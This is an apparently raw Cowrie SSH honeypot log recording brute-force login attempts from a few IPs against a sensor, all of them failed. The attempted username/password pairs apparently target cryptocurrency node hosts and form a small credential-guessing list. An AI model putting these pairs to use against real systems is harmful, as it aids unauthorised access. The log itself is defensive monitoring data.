{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:26:22.081923Z","src_ip":"2.57.122.210","session":"e5cb5374d8ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:26:22.373850Z","src_ip":"2.57.122.210","session":"e5cb5374d8ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:26:23.473527Z","src_ip":"2.57.122.210","session":"e5cb5374d8ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:26:54.310405Z","src_ip":"82.146.61.253","session":"d2238a87fb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":47104,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8411d9d0c56","protocol":"ssh","message":"New connection: 92.118.39.92:47104 (10.17.0.5:22) [session: d8411d9d0c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:02.958585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:02.963623Z","src_ip":"92.118.39.92","session":"d8411d9d0c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:03.111333Z","src_ip":"92.118.39.92","session":"d8411d9d0c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"polkadot","password":"polkadot","message":"login attempt [polkadot/polkadot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:03.418084Z","src_ip":"92.118.39.92","session":"d8411d9d0c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:04.524463Z","src_ip":"92.118.39.92","session":"d8411d9d0c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":40828,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f55bbfca5b4","protocol":"ssh","message":"New connection: 2.57.122.210:40828 (10.17.0.5:22) [session: 1f55bbfca5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:41.623275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:41.639986Z","src_ip":"2.57.122.210","session":"1f55bbfca5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:41.752499Z","src_ip":"2.57.122.210","session":"1f55bbfca5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fdcl","message":"login attempt [sol/fdcl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:42.148703Z","src_ip":"2.57.122.210","session":"1f55bbfca5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:28:43.255275Z","src_ip":"2.57.122.210","session":"1f55bbfca5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":35550,"dst_ip":"10.17.0.5","dst_port":22,"session":"11ff02a973bc","protocol":"ssh","message":"New connection: 92.118.39.92:35550 (10.17.0.5:22) [session: 11ff02a973bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:11.492343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:11.544013Z","src_ip":"92.118.39.92","session":"11ff02a973bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:11.685600Z","src_ip":"92.118.39.92","session":"11ff02a973bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:12.004933Z","src_ip":"92.118.39.92","session":"11ff02a973bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:13.108547Z","src_ip":"92.118.39.92","session":"11ff02a973bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":43576,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba22ed87d88","protocol":"ssh","message":"New connection: 2.57.122.210:43576 (10.17.0.5:22) [session: 8ba22ed87d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:50.325089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:50.330796Z","src_ip":"2.57.122.210","session":"8ba22ed87d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:50.434363Z","src_ip":"2.57.122.210","session":"8ba22ed87d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:50.739132Z","src_ip":"2.57.122.210","session":"8ba22ed87d88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:30:51.843056Z","src_ip":"2.57.122.210","session":"8ba22ed87d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52178,"dst_ip":"10.17.0.5","dst_port":22,"session":"af718f68b84b","protocol":"ssh","message":"New connection: 92.118.39.92:52178 (10.17.0.5:22) [session: af718f68b84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:32:22.788331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:32:22.793206Z","src_ip":"92.118.39.92","session":"af718f68b84b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:32:22.906021Z","src_ip":"92.118.39.92","session":"af718f68b84b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:32:23.223940Z","src_ip":"92.118.39.92","session":"af718f68b84b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:32:24.331727Z","src_ip":"92.118.39.92","session":"af718f68b84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":46324,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d5686fb539","protocol":"ssh","message":"New connection: 2.57.122.210:46324 (10.17.0.5:22) [session: 90d5686fb539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:00.756427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:00.761302Z","src_ip":"2.57.122.210","session":"90d5686fb539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:00.856614Z","src_ip":"2.57.122.210","session":"90d5686fb539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:01.178191Z","src_ip":"2.57.122.210","session":"90d5686fb539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:02.275777Z","src_ip":"2.57.122.210","session":"90d5686fb539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":41486,"dst_ip":"159.203.135.109","dst_port":22,"session":"32f8e6967d03","protocol":"ssh","message":"New connection: 14.225.2.125:41486 (159.203.135.109:22) [session: 32f8e6967d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:37.323092Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:37.580259Z","src_ip":"14.225.2.125","session":"32f8e6967d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":41490,"dst_ip":"159.203.135.109","dst_port":22,"session":"e189b6f38bb3","protocol":"ssh","message":"New connection: 14.225.2.125:41490 (159.203.135.109:22) [session: e189b6f38bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:37.861707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:37.869389Z","src_ip":"14.225.2.125","session":"e189b6f38bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:38.148365Z","src_ip":"14.225.2.125","session":"e189b6f38bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shop","password":"shop","message":"login attempt [shop/shop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:38.982515Z","src_ip":"14.225.2.125","session":"e189b6f38bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:33:40.264235Z","src_ip":"14.225.2.125","session":"e189b6f38bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40588,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc46f25e0c4e","protocol":"ssh","message":"New connection: 92.118.39.92:40588 (10.17.0.5:22) [session: fc46f25e0c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:34:42.355958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:34:42.360207Z","src_ip":"92.118.39.92","session":"fc46f25e0c4e","protocol":"ssh"}
